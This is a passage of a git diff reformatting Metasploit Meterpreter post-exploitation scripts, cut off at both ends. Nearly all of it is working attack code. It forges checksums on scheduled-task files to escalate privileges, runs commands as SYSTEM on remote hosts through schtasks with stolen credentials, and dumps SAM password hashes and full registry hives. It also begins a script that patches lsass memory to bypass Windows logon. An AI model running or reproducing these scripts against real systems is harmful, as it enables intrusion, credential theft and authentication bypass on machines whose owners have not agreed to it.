8) - } - crc + table = Zlib.crc_table + crc = 0xffffffff + data.unpack('C*').each { |b| + crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) + } + crc end def fix_crc32(data, old_crc) - # - # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably - # reversed from Microsoft's code) - # - bwd_table = [ - 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, - 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, - 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, - 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, - 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, - 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, - 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, - 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, - 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, - 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, - 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, - 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, - 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, - 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, - 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, - 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, - 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, - 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, - 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, - 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, - 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, - 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, - 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, - 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, - 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, - 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, - 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, - 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, - 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, - 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, - 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, - 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, - 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, - 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, - 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, - 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, - 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, - 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, - 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, - 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, - 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, - 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, - 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, - 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, - 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, - 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, - 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, - 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, - 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, - 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, - 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, - 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, - 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, - 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, - 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, - 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, - 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, - 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, - 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, - 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, - 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, - 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, - 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, - 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 - ] - - crc = crc32(data[0, data.length - 12]) - data[-12, 4] = [crc].pack('V') - - data[-12, 12].unpack('C*').reverse.each { |b| - old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff - } - data[-12, 4] = [old_crc].pack('V') + # + # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably + # reversed from Microsoft's code) + # + bwd_table = [ + 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, + 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, + 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, + 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, + 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, + 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, + 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, + 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, + 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, + 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, + 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, + 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, + 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, + 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, + 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, + 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, + 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, + 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, + 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, + 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, + 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, + 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, + 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, + 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, + 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, + 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, + 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, + 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, + 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, + 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, + 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, + 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, + 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, + 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, + 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, + 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, + 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, + 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, + 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, + 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, + 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, + 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, + 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, + 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, + 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, + 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, + 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, + 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, + 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, + 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, + 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, + 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, + 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, + 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, + 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, + 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, + 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, + 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, + 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, + 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, + 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, + 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, + 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, + 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 + ] + + crc = crc32(data[0, data.length - 12]) + data[-12, 4] = [crc].pack('V') + + data[-12, 12].unpack('C*').reverse.each { |b| + old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff + } + data[-12, 4] = [old_crc].pack('V') end def exec_schtasks(cmdline, purpose) - lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR") - success = false - lns.each_line { |ln| - ln.chomp! - if ln =~ /^SCHELEVATOR$/ - success = true - else - print_status(ln) - end - } - raise "Unable to #{purpose}!" if not success + lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR") + success = false + lns.each_line { |ln| + ln.chomp! + if ln =~ /^SCHELEVATOR$/ + success = true + else + print_status(ln) + end + } + raise "Unable to #{purpose}!" if not success end def read_task_file(taskname, taskfile) - print_status("Reading the task file contents from #{taskfile}...") + print_status("Reading the task file contents from #{taskfile}...") - # Can't read the file directly on 2008? - content = '' - fd = client.fs.file.new(taskfile, "rb") - until fd.eof? - content << fd.read - end - fd.close + # Can't read the file directly on 2008? + content = '' + fd = client.fs.file.new(taskfile, "rb") + until fd.eof? + content << fd.read + end + fd.close - content + content end @@ -306,15 +306,15 @@ def read_task_file(taskname, taskfile) # Double-check that we got what we expect. # if content[0,2] != "\xff\xfe" - # - # Convert to unicode, since it isn't already - # - content = content.unpack('C*').pack('v*') + # + # Convert to unicode, since it isn't already + # + content = content.unpack('C*').pack('v*') else - # - # NOTE: we strip the BOM here to exclude it from the crc32 calculation - # - content = content[2,content.length] + # + # NOTE: we strip the BOM here to exclude it from the crc32 calculation + # + content = content[2,content.length] end diff --git a/scripts/meterpreter/schtasksabuse.rb b/scripts/meterpreter/schtasksabuse.rb index 064e41602d9c..c17a82378f67 100644 --- a/scripts/meterpreter/schtasksabuse.rb +++ b/scripts/meterpreter/schtasksabuse.rb @@ -11,14 +11,14 @@ session = client # Setting Arguments @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."], - "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."], - "-p" => [ true,"Password for user account specified, it must be given if a user is given."], - "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."], - "-t" => [ true,"Remote system to schedule job."], - "-l" => [ true,"Text file with list of targets, one per line."], - "-s" => [ true,"Text file with list of commands, one per line."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."], + "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."], + "-p" => [ true,"Password for user account specified, it must be given if a user is given."], + "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."], + "-t" => [ true,"Remote system to schedule job."], + "-l" => [ true,"Text file with list of targets, one per line."], + "-s" => [ true,"Text file with list of commands, one per line."] ) #Setting Argument variables commands = [] @@ -28,128 +28,128 @@ delay = 2 help = 0 def usage - print_status( "This Meterpreter script is for running commands on targets system using the") - print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith") - print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions") - print_status( "of the process Meterpreter is running under.") - print_status( "Options:") - print_status( @@exec_opts.usage ) + print_status( "This Meterpreter script is for running commands on targets system using the") + print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith") + print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions") + print_status( "of the process Meterpreter is running under.") + print_status( "Options:") + print_status( @@exec_opts.usage ) end def abuse(session,targets,commands,username,password,delay) - #for each target - targets.each do |t| - next if t.strip.length < 1 - next if t[0,1] == "#" - #for eacg command - commands.each do |c| - next if c.strip.length < 1 - next if c[0,1] == "#" - taskname = "syscheck#{rand(100)}" - success = false - #check if user name and password where given, if not credential of running process used - if username == nil && password == nil - print_status("Scheduling command #{c} to run .....") - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /st 00:00:00" - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - #check if successfully scheduled - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - success = true - end - end - #check if schedule successful, if not raise error - if !success - print_status("Failed to create scheduled task!!") - raise "Command could not be Scheduled" - elsif success - print_status("Running command on #{t}") - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}") - end - r.channel.close - r.close - #Wait before scheduling next command - sleep(delay) - print_status("Removing scheduled task") - session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F") - else - print_status("Scheduling command #{c} to run .....") - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00" - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - #check if successfully scheduled - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - success = true - end - end - #check if schedule successful, if not raise error - if !success - print_status("Failed to create scheduled task!!") - raise "Command could not be Scheduled" - elsif success - print_status("Running command on #{t}") - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}") - end - r.channel.close - r.close - #Wait before scheduling next command - sleep(delay) - print_status("Removing scheduled task") - session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /u #{username} /p #{password} /F") - end - end - end + #for each target + targets.each do |t| + next if t.strip.length < 1 + next if t[0,1] == "#" + #for eacg command + commands.each do |c| + next if c.strip.length < 1 + next if c[0,1] == "#" + taskname = "syscheck#{rand(100)}" + success = false + #check if user name and password where given, if not credential of running process used + if username == nil && password == nil + print_status("Scheduling command #{c} to run .....") + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /st 00:00:00" + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + #check if successfully scheduled + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + success = true + end + end + #check if schedule successful, if not raise error + if !success + print_status("Failed to create scheduled task!!") + raise "Command could not be Scheduled" + elsif success + print_status("Running command on #{t}") + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}") + end + r.channel.close + r.close + #Wait before scheduling next command + sleep(delay) + print_status("Removing scheduled task") + session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F") + else + print_status("Scheduling command #{c} to run .....") + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\" /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00" + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + #check if successfully scheduled + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + success = true + end + end + #check if schedule successful, if not raise error + if !success + print_status("Failed to create scheduled task!!") + raise "Command could not be Scheduled" + elsif success + print_status("Running command on #{t}") + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}") + end + r.channel.close + r.close + #Wait before scheduling next command + sleep(delay) + print_status("Removing scheduled task") + session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /u #{username} /p #{password} /F") + end + end + end end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - commands = val.split(',') - when "-u" - username = val - when "-p" - password = val - when "-t" - targets = val.split(',') - when "-d" - delay = val.to_i - when "-s" - script = val - if not ::File.exists?(script) - raise "Command List File does not exists!" - else - ::File.open(script, "r").each_line do |line| - commands << line.chomp - end - end - when "-l" - list = val - if not ::File.exists?(list) - raise "Command List File does not exists!" - else - ::File.open(list, "r").each_line do |line| - targets << line.chomp - end - end - when "-h" - help = 1 - end + when "-c" + commands = val.split(',') + when "-u" + username = val + when "-p" + password = val + when "-t" + targets = val.split(',') + when "-d" + delay = val.to_i + when "-s" + script = val + if not ::File.exists?(script) + raise "Command List File does not exists!" + else + ::File.open(script, "r").each_line do |line| + commands << line.chomp + end + end + when "-l" + list = val + if not ::File.exists?(list) + raise "Command List File does not exists!" + else + ::File.open(list, "r").each_line do |line| + targets << line.chomp + end + end + when "-h" + help = 1 + end } unsupported if client.platform !~ /win32|win64/i print_status("Meterpreter session running as #{session.sys.config.getuid}") if help == 0 && commands.length != 0 - abuse(session,targets,commands,username,password,delay) + abuse(session,targets,commands,username,password,delay) else - usage + usage end diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb index b94515ed7233..69faa5dd959c 100644 --- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -7,18 +7,18 @@ # hdm[at]metasploit.com # opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("Scraper -- harvest system info including network shares, registry hives and password hashes") - print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper")) - print_line("USAGE: run scraper") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("Scraper -- harvest system info including network shares, registry hives and password hashes") + print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper")) + print_line("USAGE: run scraper") + print_line(opts.usage) + raise Rex::Script::Completed + end } require 'fileutils' @@ -28,32 +28,32 @@ # Delete a file (meterpreter has no unlink API yet) def m_unlink(client, path) - r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) - while(r.name) - select(nil, nil, nil, 0.10) - end - r.close + r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'}) + while(r.name) + select(nil, nil, nil, 0.10) + end + r.close end def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # Exec a command and return the results def m_exec(client, cmd) - begin - r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - b = "" - while(d = r.channel.read) - b << d - break if d == "" - end - r.channel.close - r.close - b - rescue ::Exception => e - print_error("Failed to run command #{cmd}") - print_error("Error: #{e.class} #{e}") - end + begin + r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + b = "" + while(d = r.channel.read) + b << d + break if d == "" + end + r.channel.close + r.close + b + rescue ::Exception => e + print_error("Failed to run command #{cmd}") + print_error("Error: #{e.class} #{e}") + end end @@ -73,92 +73,92 @@ def m_exec(client, cmd) unsupported if client.platform !~ /win32|win64/i begin - tmp = client.fs.file.expand_path("%TEMP%") + tmp = client.fs.file.expand_path("%TEMP%") - print_status("Gathering basic system information...") + print_status("Gathering basic system information...") - ::File.open(File.join(logs, "network.txt"), "w") do |fd| - fd.puts("=" * 70) - client.net.config.each_route do |route| - fd.puts("Local subnet: #{route.subnet}/#{route.netmask}") - end + ::File.open(File.join(logs, "network.txt"), "w") do |fd| + fd.puts("=" * 70) + client.net.config.each_route do |route| + fd.puts("Local subnet: #{route.subnet}/#{route.netmask}") + end - fd.puts("=" * 70) - fd.puts(m_exec(client, "netstat -na")) + fd.puts("=" * 70) + fd.puts(m_exec(client, "netstat -na")) - fd.puts("=" * 70) - fd.puts(m_exec(client, "netstat -ns")) - end + fd.puts("=" * 70) + fd.puts(m_exec(client, "netstat -ns")) + end - info = client.sys.config.sysinfo() - ::File.open(File.join(logs, "system.txt"), "w") do |fd| - fd.puts("Computer: #{info['Computer']}") - fd.puts("OS: #{info['OS']}") - end + info = client.sys.config.sysinfo() + ::File.open(File.join(logs, "system.txt"), "w") do |fd| + fd.puts("Computer: #{info['Computer']}") + fd.puts("OS: #{info['OS']}") + end - ::File.open(File.join(logs, "env.txt"), "w") do |fd| - fd.puts(m_exec(client, "cmd.exe /c set")) - end + ::File.open(File.join(logs, "env.txt"), "w") do |fd| + fd.puts(m_exec(client, "cmd.exe /c set")) + end - ::File.open(File.join(logs, "users.txt"), "w") do |fd| - fd.puts(m_exec(client, "net user")) - end + ::File.open(File.join(logs, "users.txt"), "w") do |fd| + fd.puts(m_exec(client, "net user")) + end - ::File.open(File.join(logs, "shares.txt"), "w") do |fd| - fd.puts(m_exec(client, "net share")) - end + ::File.open(File.join(logs, "shares.txt"), "w") do |fd| + fd.puts(m_exec(client, "net share")) + end - ::File.open(File.join(logs, "services.txt"), "w") do |fd| - fd.puts(m_exec(client, "net start")) - end + ::File.open(File.join(logs, "services.txt"), "w") do |fd| + fd.puts(m_exec(client, "net start")) + end - ::File.open(File.join(logs, "nethood.txt"), "w") do |fd| - fd.puts(m_exec(client, "net view")) - end + ::File.open(File.join(logs, "nethood.txt"), "w") do |fd| + fd.puts(m_exec(client, "net view")) + end - ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd| - fd.puts(m_exec(client, "net localgroup")) - end + ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd| + fd.puts(m_exec(client, "net localgroup")) + end - ::File.open(File.join(logs, "group.txt"), "w") do |fd| - fd.puts(m_exec(client, "net group")) - end + ::File.open(File.join(logs, "group.txt"), "w") do |fd| + fd.puts(m_exec(client, "net group")) + end - ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd| - fd.puts(m_exec(client, "systeminfo")) - end + ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd| + fd.puts(m_exec(client, "systeminfo")) + end - begin - client.core.use("priv") - hashes = client.priv.sam_hashes - print_status("Dumping password hashes...") - ::File.open(File.join(logs, "hashes.txt"), "w") do |fd| - hashes.each do |user| - fd.puts(user.to_s) - end - end - rescue ::Exception => e - print_status("Error dumping hashes: #{e.class} #{e}") - end + begin + client.core.use("priv") + hashes = client.priv.sam_hashes + print_status("Dumping password hashes...") + ::File.open(File.join(logs, "hashes.txt"), "w") do |fd| + hashes.each do |user| + fd.puts(user.to_s) + end + end + rescue ::Exception => e + print_status("Error dumping hashes: #{e.class} #{e}") + end - print_status("Obtaining the entire registry...") - hives = %w{HKCU HKLM HKCC HKCR HKU} - hives.each do |hive| - print_status(" Exporting #{hive}") + print_status("Obtaining the entire registry...") + hives = %w{HKCU HKLM HKCC HKCR HKU} + hives.each do |hive| + print_status(" Exporting #{hive}") - tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg" - m_exec(client, "reg.exe export #{hive} #{tempname}") + tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg" + m_exec(client, "reg.exe export #{hive} #{tempname}") - print_status(" Downloading #{hive} (#{tempname})") - client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname) + print_status(" Downloading #{hive} (#{tempname})") + client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname) - print_status(" Cleaning #{hive}") - m_unlink(client, tempname) - end + print_status(" Cleaning #{hive}") + m_unlink(client, tempname) + end - print_status("Completed processing on #{host}:#{port}...") + print_status("Completed processing on #{host}:#{port}...") rescue ::Exception => e - print_status("Exception: #{e.class} #{e} #{e.backtrace}") + print_status("Exception: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index 20827248aa51..b95c87c22110 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -8,68 +8,68 @@ revert = false targets = [ - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ }, - { :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, - { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } + { :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ }, + { :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ }, + { :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ } ] opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-r" => [ false, "revert the patch (enable screen locking again)"] + "-h" => [ false,"Help menu." ], + "-r" => [ false, "revert the patch (enable screen locking again)"] ) opts.parse(args) { |opt, idx, val| - case opt - when "-r" - revert = true - when "-h" - print_line("") - print_line("USAGE: run screen_unlock [-r]") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-r" + revert = true + when "-h" + print_line("") + print_line("USAGE: run screen_unlock [-r]") + print_line(opts.usage) + raise Rex::Script::Completed + end } def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end unsupported if client.platform !~ /win32|win64/i os = client.sys.config.sysinfo['OS'] targets.each do |t| - if os =~ t[:os] - target = t - print_status("OS '#{os}' found in known targets") - pid = client.sys.process["lsass.exe"] - p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - dllbase = p.image["msv1_0.dll"] + if os =~ t[:os] + target = t + print_status("OS '#{os}' found in known targets") 